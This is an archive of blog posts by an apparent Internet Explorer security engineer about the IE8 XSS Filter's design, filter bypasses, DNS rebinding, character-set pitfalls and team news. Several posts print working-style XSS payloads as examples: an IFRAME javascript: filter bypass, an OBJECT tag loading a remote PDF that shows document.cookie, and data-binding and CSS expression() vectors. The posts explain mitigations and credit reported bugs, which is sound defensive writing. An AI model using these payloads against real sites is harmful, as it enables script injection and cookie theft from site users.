random dross

Hyperlink Spoofing and the Modern Web

dross — Thu, 26 Apr 2012 19:11:22 GMT

Over the past six months or so I’ve been looking at hyperlink spoofing threats as a bit of a part-time project. I’ve primarily been interested in how the design of social networking platforms impacts the ability of their users to make good trust decisions regarding hyperlinks. The interaction between social networking services and short-link services has also shown to be worthy of some analysis.

While the issues in this space don’t tend to rank highly “on a scale of one to l33t,” I found it to be an interesting area because existing design practices appear inconsistent and suboptimal with regard to security.

As social networking platforms are changing very rapidly, the specific examples in this write-up will become dated quickly, if that isn’t already the case. I'm more hopeful that the enumeration of issue types as well as the conclusions / recommendations in this write-up will stay relevant in the future.

Hyperlink Spoofing and the Modern Web

Creating XSS

dross — Wed, 25 Apr 2012 21:56:00 GMT

I’ve seen MS10-002 pop up a few times in discussion recently. This is a reference to the legendary issue that David Lindsay and Eduardo Vela Nava discovered, where neutering for a given heuristic actually enabled XSS, assuming attacker control of data inside a properly quoted HTML attribute. I'd like to share some detail about the tools the XSS Filter has at its disposal as they apply to defeating this sort of attack in a general sense.

The XSS Filter’s approach has always relied on taking great care not to neuter characters which can alter context. For example, if we were to neuter a double quote, that could have the unintended side-effect of activating script otherwise safely contained within a javascript string in some other part of the page. The bug addressed by MS10-002 was not quite as obvious, but along the same lines.

Neutering is an attempt to cleverly target XSS as it may manifest on a given page. But one thing that often goes unnoticed is that the XSS Filter is actually empowered to take various different approaches to mitigate XSS. And it can do this on a per-heuristic basis. In other words, given any identified issue with the neutering approach for a heuristic, we are able to choose from various different possible mitigations (Eg: mode=block), specifically applied for that heuristic. In that way it is possible to disable attacks with a larger hammer as necessary, without forcing the XSS Filter to apply in any situations where it didn’t apply before.

XSS Filter Tech: Later is Better?

dross — Tue, 20 Dec 2011 18:31:00 GMT

Arcane design decisions can have subtle but important effects on the characteristics of a security mitigation. Consider how client-side XSS filtering might examine a given HTTP response for evidence of a reflected attack. Is it more sensible to examine the response before or after that response is processed in the browser?

An easy answer might be that it’s better to examine the response after processing, as this is when the true meaning of the response is most apparent. While this makes sense intuitively, it turns out that later matching may be considered suboptimal. Let’s explore why.

Transformations Everywhere

As suggested above, modern client-side XSS filtering techniques attempt to identify request data that has been reflected into the response. Transformations on this data will always have the potential to reduce a filter’s ability to successfully make a match. Some transformations may occur at the server, and since the XSS filter has no way of preventing this, it must compensate. XSS filters do in fact compensate for server-side transformations.

But at the same time, transformations occur on the client side as a response is parsed and makes it way out to the HTML DOM and/or script engine. For a filter that delays matching until after a response is processed by the browser, transformations will apply prior to matching and can inhibit successful matching. This manifests as a filter bypass scenario, or false negative.

In fact, transformations that may occur in various places within the browser codebase are not generally regarded as security related, so they may get introduced, change, or disappear over time without any warning.

Example

Consider the following filter bypass scenario that affected a very old version of Chrome (4.0.249.89):

Benchmark:
foo?x=<IFRAME%20src='javascript:alert(1)'>

Bypass:
foo?x=<IFRAME%20src='javascript:alert%26%23x25;281)'>

This issue was reported several years ago and subsequently resolved.

Observe how the open-parenthesis is replaced with its HTML encoding, %. Because browsers automatically HTML-decode attributes, the % is able to substitute for open-parenthesis in this context. But given a post-parsing matching process, the % present in the URL will no longer match the open-parenthesis present in the actual script!

Conclusions

It is not simply a matter of later matching being inherently “better.” As you can see from the example above, there is a real tradeoff – while a late-matching technique may be able to more specifically target an attack for disablement, it loses some ability to accurately identify an attack.

In any manifestation of this problem, it would seem that there are several approaches to mitigate the threat:

Move the matching process to occur before parsing. This may be difficult if matching is entirely context-dependent. Eg: If there are no regular expression heuristics to identify what an attack actually looks like, reflection detected before parsing may be too generic to flag as a potential attack.
Simulate HTML encoding behavior in matching.
Change the browser to remove automatic HTML decoding in attributes. Unfortunately though this is a bit of a non-starter. The automatic HTML decoding is supported cross-browser and removing it would trigger application compatibility issues.

Taking an early-matching approach, the Internet Explorer XSS Filter still must account for the behavior of the HTML parser so as to properly identify attacks. It does this in a way that is designed into its core architecture – using a flexible regular expression heuristic.

Refining a regular expression has a number of advantages relative to alternative approaches to addressing bypass scenarios like the one described above. Specifically:

Straightforward implementation and testing
Consistency across fixes
Easier to reason about overall fix approach
No code churn outside the core filter logic
Less likelihood of a performance penalty

Finally, the “later is better” argument fails to recognize that matching can be decoupled from blocking. It is asserted that matching should occur as early as possible so as to avoid any transformations that may be observed as a response proceeds through the browser’s internals. For the purposes of accuracy, blocking can be performed later in the process, as necessary, when the browser has determined the semantics of any suspect response fragment.

Enforcing Standards Mode with X-FRAME-OPTIONS

dross — Thu, 30 Jun 2011 23:39:00 GMT

Reduced attack surface in Standards Mode is a good step forward for XSS-Focused Attack Surface Reduction in the browser. But it’s necessary to prevent framing as a prerequisite to enforced Standards Mode.

Putting this into practice is pretty simple. First, you’ll need a Standards Mode DOCTYPE and document compatibility header on your web content, eg:

<!DOCTYPE html> <html> <head>  <meta http-equiv="X-UA-Compatible" content="IE=9" > </head> <body> … </body> </html>

Then enable X-FRAME-OPTIONS by setting the appropriate HTTP response header:

X-FRAME-OPTIONS: DENY
…or…
X-FRAME-OPTIONS: SAMEORIGIN

Now Standards Mode will be enabled and framing-induced "mode inheritance" will be prevented.

Fuzzing for Design Bugs?

dross — Fri, 03 Sep 2010 17:29:40 GMT

Have you ever heard someone ask “Do we need to fuzz this?”

This question comes up quite a bit in the context of reactive security work. There are basically two traditional answers:

Yes.
When you’re attempting to find variants of something like a memory corruption bug, fuzzing is your best friend. It’s a no-brainer.
No. Er, wait. Sure, uh, go for it...
When you’re attempting to find variants of something that looks more like a design bug, fuzzing might at first seem silly. The answer becomes less clear after thinking about it a little more. With 20/20 hindsight you can usually think up a way in which any particular bug might be caught by an automated process. Would that automated process fit a loose definition of fuzzing? Possibly.

This intellectual discussion usually doesn’t go very far. This is because of a general perception that fuzzing for design bugs just isn’t going to deliver the ROI that creative hacking, code analysis, etc. can provide in a given period of time. But it’s very hard to say that this is true in all cases. Hence the vague answer above.

Example

Here’s one simple scenario where a technique that could surely be considered fuzzing (and was specifically designed to identify design bugs) did yield a good result.

While testing the Internet Explorer XSS Filter prototype in 2007, SkyLined identified that classic ASP would simply drop invalidly encoded character sequences from HTTP request querystring parameters prior to the HTTP response formation. This resulted in a situation where our filter could not properly match requests to responses and thus the filter could be bypassed for apps on classic ASP.

The XSS Filter was adapted to account for this situation and test cases were created.

Later we developed a fuzzer capable of slightly modifying test cases before running them. As you may imagine, it’s not hard for a simple fuzzer to generate various forms of invalidly encoded character sequences. As it turned out, our fix for the encoding issue missed a corner case that our fuzzer was able to trigger. We were then able to fix the variant and add a new test case to cover any future regressions.

Thoughts?

Fuzzing for design bugs is not a new idea. Just in regards to XSS, it was mentioned by Alexander Sotirov in 2008, and of course the sla.ckers are well known for putting this approach into practice. What is most interesting to me right now is the question of when / how to apply fuzzing style techniques for design bugs in general. I don’t recall ever having seen a really good answer to this question.

So I would be interested in your thoughts on classes of design defects that are particularly amenable to some form of fuzzing, as well as classes of design defects where fuzzing is just a waste of time. (Some other questions: What actions must a DOM crawler have to perform in order to be a true fuzzer, and does it even matter if it’s called a fuzzer or not?)

Feel free to hit me up on Twitter or leave a comment on this blog.

Happy 10th birthday Cross-Site Scripting!

dross — Tue, 15 Dec 2009 18:50:00 GMT

On the 16th of January, 2000, the following names were suggested and bounced around among a small group of Microsoft security engineers:

Unauthorized Site Scripting
Unofficial Site Scripting
URL Parameter Script Insertion
Cross Site Scripting
Synthesized Scripting
Fraudulent Scripting

The next day there was consensus – Cross Site Scripting. In retrospect, I think this was a good choice given the options on the table.

By early February there was a coordinated advisory release with CERT:
http://www.cert.org/advisories/CA-2000-02.html

The research leading up to the disclosure dates to mid-December 1999 – exactly ten years ago.

Over the years, the definition of Cross-Site Scripting has expanded somewhat. What we once referred to as simply “Cross Site Scripting” might now be classified as the reflected / non-persistent form of the attack.

Let's hope that ten years from now we'll be celebrating the death, not the birth, of Cross-Site Scripting!

Current Thoughts on DNS Rebinding

dross — Tue, 17 Nov 2009 20:38:00 GMT

RSnake and Dan Kaminsky have been talking about session fixation via DNS Rebinding. As you may recall, an attacker can't abuse your Foo.com cookies in a rebinding attack, though they can walk your browser around Foo.com content and control the session. The gist of what these guys are talking about is how the attacker can log the victim into the attacker's session. Interesting stuff...

Dan and RSnake are big on server-side Host header validation as an anti-rebinding strategy. Every time I starting thinking about this, here's my basic train of thought:

Host header validation is simple, and simple is good. If you implement Host header validation at the server, it just works.
But what about everybody who doesn't conform? Most web sites don't conform today, and if they do it's not particularly intentional. I'd hate to see webappsec spend the next 10 years beating up the web properties that don't confirm. We'd inch the web towards real security in a sort of hostile manner. There must be a better way...
So coming at this from the other side -- what can the client-side do to help? The hope there is to not only empower the user to verify their rebinding defenses on any given site, but also to put leverage on the server-side to implement Host header validation (to avoid getting blocked at the more secure clients). As of now, a simple, practical, and comprehensive client-side anti-rebinding strategy remains elusive. And if client-enforced Host header validation requires a server-side tweak, say a Host header on the response, that puts us back to the problem in #2 above.
So with all of this, why isn’t "use SSL" the simple anti-rebinding strategy? In the near term, is there really a better answer?

Now, all this being said, I think the Rebinding threat is still yet to be fully defined. It's possible that some interesting anti-rebinding strategies we see will develop out of a need to address specific attack scenarios identified over time.

Thoughts on Legacy Character Sets

dross — Tue, 03 Nov 2009 21:21:00 GMT

One of the things I have taken from the IE XSS Filter project is a healthy fear of legacy character sets. If you've followed Chris Weber, Scott Stender, or Yosuke Hasegawa’s work, you know that even Unicode is... interesting. But at least in the Unicode world there are standards and evolving best practices dictating how clients and servers should behave.

How about the rest of the character sets commonly used on the web today? For example, if a web server produces ISO 2022 responses...
- How are escape sequences handled on input to the application?
- How are escape sequences handled in various components through which the input travels?
- How are escape sequences handled in server-side filtering code?
- How are escape sequences handled at any of the various browser clients?

You may ask the same questions about invalid multi-byte sequences, various character set eccentricities, etc. Character set handling may not be readily apparent at the highest levels of the stack, but transformations between character sets are actually common at the platform level on both the client and server.

The answers to the questions above have a real impact on an application's ability to defend itself from XSS. In order for developers to prevent XSS they must authoritatively block any XSS attack vector. There are more complicated constructs that may be useful as vectors depending on the injection context. For anyone who's written some code intending to prevent XSS, this is the commonly understood problem space. But character sets essentially open up a second dimension to the attack surface.

That is, developers must manage their untrusted data from its initial appearance in input out through its ultimate presentation to the victim user in an HTTP response. So the effectiveness of any filtering is not simply a matter of handling all of the applicable attack vectors that may exist in any given browser client. In fact, it is more complex due to the character set handling that may or may not have occurred before or after the point at which filtering occurs.

Specifications for legacy character sets tend to be vague, if they exist at all. Undefined behaviors have existed for so long, the consequences of seemingly benign code tweaks can be virtually untestable. Code changes involving character sets can break old documents in subtle ways.

The differences between how components handle a given character set is one source of vulnerability. But besides that, character set eccentricities may be well-defined and implemented consistently at the client and server, yet still enable vulnerabilities. Here are some examples where the complexities around character set handling have lead to vulnerabilities.

What do you think? It would be very interesting to see an analysis comparing popular server-side web platforms, other server-side components (SQL servers, etc.), and client-side technology in terms of how they handle the various character set issues across a wide range of supported character sets.

So... Would anyone not like to live in an all-Unicode world?

Here are some related resources from Shawn Steele, Windows / .Net globalization guru: http://blogs.msdn.com/shawnste/pages/code-pages-unicode-encodings.aspx

Good Bug

dross — Fri, 29 May 2009 01:37:00 GMT

Credit goes to Alex "Kuza55" Kouzemtchenko for identifying a weakness in the XSS Filter OBJECT tag heuristic. The original heuristic failed to properly sanitize OBJECT tags with the DATA attribute set. Alex found that it is possible to use the DATA attribute to instantiate the PDF handler, then reference content to be loaded using a PARAM element. This would load a remote PDF that would execute script in the context of the hosting page, effectively enabling XSS.

Example:
http://site.tld/foo.asp?FName=<object%20data=anything_at_all.pdf><param%20name=src%20value=http://othersite.tld/xss.pdf%20></param></object>

The PDF proof-of-concept contained:
getURL("vbscript:MsgBox document.cookie");

Thanks to Alex, we were able to address this bug for the IE8 final release.

The MSHTML (Trident) Host Security FAQ

dross — Mon, 06 Apr 2009 20:21:00 GMT

I've posted a two-part FAQ addressing security considerations for apps that host MSHTML. Check it out over at the SRD blog!

The MSHTML Host Security FAQ: Part I of II
The MSHTML Host Security FAQ: Part II of II

New webappsec tools

dross — Wed, 25 Mar 2009 21:33:00 GMT

Chris Weber's Watcher: http://www.lookout.net/2009/03/20/watcher-security-tool-a-free-web-app-security-testing-and-compliance-auditing-tool/

Watcher plugs into the Fidder HTTP proxy and monitors for all sorts of web app vulns, from the common to the obscure.

Gareth Heyes' XSS Rays: http://www.thespanner.co.uk/2009/03/25/xss-rays/

XSS Rays runs in the browser as a bookmarklet and scans for XSS on demand.

IE8 is here!

dross — Thu, 19 Mar 2009 23:02:00 GMT

http://www.microsoft.com/ie

What are you waiting for? Go get it!

XSS Filter Improvements in IE8 RC1

dross — Sat, 31 Jan 2009 00:30:00 GMT

I've just posted detail up on the SVRD Blog about some improvements and bug fixes to the XSS Filter feature in IE8 RC1.

Video Roundup (Martin Johns and more!)

dross — Wed, 14 Jan 2009 22:53:00 GMT

Recently I got Martin Johns connected with Helen Wang's group in Microsoft Research. Check out Martin's excellent talk @MSR, Secure Code Generation for Web Applications.

Here are a few other gems I discovered on content.digitalwell.washington.edu:

Techniques and Tools for Engineering Secure Web Applications
Gary Wassermann, 3/13/2008

Improving Software Security with Precise Static and Runtime Analysis
Benjamin Livshits, 6/26/2006

End-to-end Security for Web Applications: A Language-based Approach
Nikhil Swamy, 4/1/2008

ABE

dross — Sun, 21 Dec 2008 05:10:00 GMT

Giorgio Maone's new ABE project looks pretty cool.

Exposing the loose and often unnecessary boundaries between web applications shines a different light on some old problems in web application security. Enforcing greater formalization and limiting the attack surface presented by these boundaries is a great thing.

Yeah, yeah, I know, Giorgio doesn't like us, etc..., whatever. ;-)

XSSDS

dross — Tue, 30 Sep 2008 21:15:00 GMT

Björn Engelmann, Joachim Posegga, and LocalRodeo developer Martin Johns have authored an excellent paper on a new Cross-site Scripting detection system called XSSDS. Stay tuned to noxss.org for a new browser extension based on this technology. The XSSDS approach is similar in some ways to the IE8 XSS Filter approach, although it's worth noting that until recently Martin's team had no knowledge of our work in this space (and vice versa).

IE8 Beta 2

dross — Sat, 30 Aug 2008 01:18:00 GMT

If you haven’t already seen, Internet Explorer 8 Beta 2 is out – go get it!

Now is a good time to thank everyone who helped make the IE8 XSS Filter a reality. This project wouldn’t have been possible without your hard work, support, leadership, guidance, brainstorming, pentesting, coding, and testing.

THANK YOU:

Zhenya and Joe J

Keith Baston
Sarah Blankinship
Christopher Budd
Fergal Burke
Manuel Caballero
Tony Chor
Jeremy Dallman
Mark Debenham
Carl Edlund
Dave Forstrom
Michael Grady
Dean Hachamovitch
Robert “RSnake” Hansen
Yosuke Hasegawa
Damian Hasse
Ronald van den Heetkamp
Mario Heiderich
Matt Heller
Gareth Heyes
Michael Howard
Hidetake Jo
Dany Joly
Dan Kaminsky
Amit Klein
Kuza55
John Lambert
Eric Lawrence
David Lindsay
Steve Lipner
Spencer Low
Patrick Mann
Bronwen Matthews
Christian Matthies
Jack Mayo
Mark Miller
Katie Moussouris
Aviv Raff
Billy Rios
Harley Rosnow
Andrew Roths
Fermin J. Serna
Mark Shlimovich
Richard Shupak
Craig Spiezle
George Stathakopoulos
Cheng Peng Su
Matt Thomlinson
Jason Upton
Eduardo “sirdarckcat” Vela
Berend-Jan “SkyLined” Wever
Austin Wilson
Geng Yang

The IE Team
SWI

If I somehow managed to leave you out, please let me know.

Now on to RTM!

IE 8 XSS Filter Architecture / Implementation revealed + some other news

dross — Tue, 19 Aug 2008 23:29:00 GMT

I've just posted some detail on the Internet Explorer 8 XSS Filter Architecture / Implementation over on the SWI Blog. It would be great to get some feedback and answer any questions you may have -- just drop me a mail using the Email link to the left.

In other news, Gareth Heyes has been spending some time testing the XSS Filter implementation. Gareth has written up a post on the Bluehat blog about targeted fuzzing, specifically as applied to XSS.

And finally, it's worth mentioning that I'm now on Twitter!

IE8 XSS Filter design philosophy in-depth

dross — Fri, 04 Jul 2008 09:55:00 GMT

It's great to see some positive reaction to the potential of our XSS Filter. Now we just need to deliver!

In this blog post I’ll try to shed some light on our design philosophy.

To understand how we have arrived at our current filtering approach, it is useful to look back to the XSS Filter’s very beginnings. Version 1.0 of the XSS Filter prototype, originally released within Microsoft back in 2002, provided users with the following (ugly!) prompt:

Clearly this is not something that everyday users would understand or find acceptable! We needed to find a way to make the filtering automatic and painless and thus provide maximum benefit to users.

The approach we are taking today in Internet Explorer 8 doesn’t simply examine URL / POST data for evidence of XSS – it is capable of validating that an XSS attack has been replayed into the response. Having identified the replayed XSS, we then have the capability to neuter the XSS on the page in a highly targeted fashion. Thus, the XSS Filter can be effective without modifying an initial request to the server or blocking an entire response.

The detection of reflections hones our targeting as well – you can’t have “reflected XSS” without the reflection!

Our XSS Filter design goals do not equate success with blocking every conceivable attack technique. Consider that a reported bug might fall into one of the following categories:

Straightforward implementation flaws.

Example: A buffer overrun when a specially crafted URL is passed to the XSS Filter code.

Any feature, the XSS Filter included, must consider this to be a severe vulnerability.
Mechanisms to bypass the XSS Filter in the general sense.

Example: As the XSS Filter was being developed, we identified that URLs that including a %00 were processed by the XSS Filter in such a way that the %00 would decode to a null byte. This would result in termination of the string we were using to process the URL. A real attack could then pass through unfiltered after the null byte.

To be successful, the XSS Filter must address any issue like this that thwarts its overall effectiveness.
Mechanisms to bypass the XSS Filter’s protection for certain specific XSS attack scenarios.

Example #1: Internet Explorer 7 will effectively ignore the high-bit of each character on a page in the US-ASCII character set. So when a web page outputs a page in US-ASCII, or can be forced to do so, it was possible to bypass the XSS Filter by setting the high-bit on bytes in the querystring. (This is resolved in Internet Explorer 8.)

If we had not addressed this issue, the XSS Filter would be ineffective when the victim page used the US-ASCII character set (either by default or because it was forced). This would be a serious limitation of the XSS Filter but ultimately it wouldn’t be a deal-breaker – for the growing majority of sites using Unicode the XSS Filter’s effectiveness would remain unchallenged.

Example #2: The XSS Filter would not be effective if a web app were to ROT13 decode data from the querystring before replaying it back to the client. For attacks that depend on application-specific transformations, we will only attempt to make the XSS Filter effective where these transformations are identified to be pervasive.

We choose not to ROT13 decode URLs. :-)
Specific new XSS attack vectors.

Example: The following use of data binding will result in the execution of script within IE:

<xml id=cdcat><note><to>%26lt;span style=x:exp<![CDATA[r]]>ession(alert(3))%26gt;hello%26lt;/span%26gt;</to></note></xml><table border=%221%22 datasrc=%22%23cdcat%22><tr><td><span datafld=%22to%22 DATAFORMATAS=html></span></td></tr></table>

Note there is no SCRIPT tag present. There are many similar obscure script execution techniques present in all browsers. These are often called “XSS attack vectors” and many such techniques are archived on RSnake’s cheat sheet. The XSS Filter does handle this particular XSS attack vector.

In the general case, we recognize the need to address additional new reflected (Type-1) XSS attack vectors as they are identified.

Observe the distinctions between the different bug categories listed above. The most important takeaway is our level of pragmatism especially in category #3 above. We will not be lead to compromise the XSS Filter’s web site compatibility by attempting to address every conceivable XSS attack scenario.

In summary, the XSS Filter will prove its worth by raising the bar and mitigating the types of XSS most commonly found across the web today, by default, for users of Internet Explorer 8.

IE8 goes on the offensive against XSS!

dross — Wed, 02 Jul 2008 19:29:00 GMT

IE has announced the new XSS Filter feature which will debut in IE8 Beta 2! Stay tuned to my blog in the coming weeks for more details on how the filter works, its history, its limitations, and some lessons learned during the development process.

Lead my team!

dross — Sat, 17 May 2008 09:50:00 GMT

My team (SWI React) is hiring for a lead position. Details:

Job Title: Lead Software Development Engineer

Job Category: Software Development

Product: Trustworthy Computing

Date Posted: 02/16/2008

Job Code: 223577

Location: WA - Redmond

Travel Required:

Do you consider yourself a hacker? Is breaking code a passion? And more importantly, can you teach others how to leverage your thinking? Microsoft’s SWI React team is looking for a someone to lead an elite group of hackers on a mission to protect 440 million people from software vulnerabilities. As the Lead Security Software engineer, you will utilize both your world-class code hacking skills and passion for leading teams as you help deliver a superior, trustworthy set of products to our customers. You will be responsible for analyzing and performing penetration testing on all externally reported vulnerabilities across Microsoft’s diverse product base. To be considered for this position you must have:
     Passion for trustworthy computing & software security
     Ability to stay up to date and adapt to the ever evolving security ecosystem
     Proven people management skills with initiative around growing others
     Experience with organizational goal setting & KPI measurement
     Strong cross group collaboration capabilities - up, down and across.
     Deep customer and partner focus with the willingness to improve offerings and workflow
     Knowledge of common hacking/network tools, exploit writing, networking, cryptography, penetration testing, assembler is a plus.

XSS-Focused Attack Surface Reduction

dross — Mon, 10 Mar 2008 23:06:00 GMT

All web browsers expose what have been referred to as XSS “attack vectors” – various techniques that XSS attacks can leverage to achieve script execution. The best and most well regarded list of these behaviors is RSnake’s XSS Cheat Sheet.

The existence of these attack vectors can at minimum present a challenge to filters and other technologies which attempt to block XSS. But more fundamentally, XSS attack vectors enable XSS bugs that would not otherwise exist. This is the essential argument for what I term XSS-Focused Attack Surface Reduction.

Let’s explore one example.

Finding a useful reflected XSS bug usually involves identifying a server that will replay data from a URL which is then interpreted by the browser as script. Often constraints are placed on how the attack must be constructed. This can result from ineffective filtering that has been put in place or simply due to incidental non-security related filtering at the server.

Here is a simple example attack URL:

http://[server]/[path]/[file].asp?id=70-305zzz<script>alert();</script>

The script element in the URL is injected into the server’s HTTP response as valid HTML. This vulnerability was addressed with server-side validation. However, the following variation was later identified, demonstrating the validation to be insufficient:

http://[server]/[path]/[file].asp?id=70-305zzz+"+style="background-position-x:expression\0028\0065\0076\0061\006C\0028\0061\006C\0065\0072\0074\0028\0027pwn3d\0027\0029\0029\0029

This variation makes use Internet Explorer's support for Dynamic Properties. The character sequence at the end of the URL is an encoded block of Javascript. While the validation put into place at the server prevents an element from being closed off with a greater-than symbol, it does not prevent the addition of a new STYLE attribute on the element which can contain a Dynamic Property that Internet Explorer will then execute.

The idea of XSS-Focused Attack Surface Reduction is that we can view each instance of XSS as having been enabled by one of a finite number of XSS attack vectors existing in the browser. Then we can look at ways to regulate each of those vectors in order to reduce the browser's susceptibility to XSS.

In this example above, the vector is a behavior exposed by the Dynamic Properties feature. The Dynamic Properties feature provides real value as a feature in the browser, so it’s difficult to perform XSS-Focused Attack Surface Reduction without serious compatibility impact. It’s something we have been looking at closely though.

Fortunately, it turns out that in many cases XSS attack vectors are incidental behavior unlikely to be put to use by legitimate web content. In these cases, XSS-Focused Attack Surface Reduction becomes much more feasible.

In Internet Explorer 7, an effort was made to reduce vulnerabilities involving the use of the special “javascript:” and “vbscript:” URL syntax. Specifically, these URLs were disabled in some contexts. This actually wasn’t intended to mitigate XSS per-se, but it was in fact an effective instance of XSS-Focused Attack Surface Reduction. This is because the use of javascript:/vbscript: URLs in unusual places such as IMG or EMBED tags often enabled XSS where it wouldn’t otherwise be possible. It was great to see that after we released IE7, RSnake noticed the change and updated his cheat sheet.

Essentially, the change described above translates to one less tool available in the XSS exploit author’s toolbox. This is what XSS-Focused Attack Surface Reduction strives to achieve.

I’m happy to report that IE8 is delivering additional XSS-Focused Attack Surface Reduction goodness. For Beta 1 you will notice a small but notable step forward – the US-ASCII XSS attack vector has now been closed. RSnake, feel free to update your cheat sheet once again. J

The Kill-Bit FAQ - Part 1 of 3 posted to SVRD blog

dross — Wed, 06 Feb 2008 21:21:00 GMT

Check out my ActiveX Kill-Bit FAQ which is now being posted to the SVRD blog. There are three parts, the first of which is now live. Parts two and three should be up by the end of the week.

Security Vulnerability Research & Defense blog

dross — Fri, 28 Dec 2007 06:18:00 GMT

My team now has a blog!

http://blogs.technet.com/swi/

I'll be contributing to the team blog in the future. But don't worry -- my personal blog (this one) isn't going away!

MashupOS

dross — Wed, 12 Sep 2007 20:34:00 GMT

The standard IFRAME-based isolation technique for web apps is starting to show its age. We need something better!

Microsoft Research has posted a new paper scheduled to appear at SOSP '07:

Protection and Communication Abstractions for Web Browsers in MashupOS

RSnake also has an interesting post on this topic.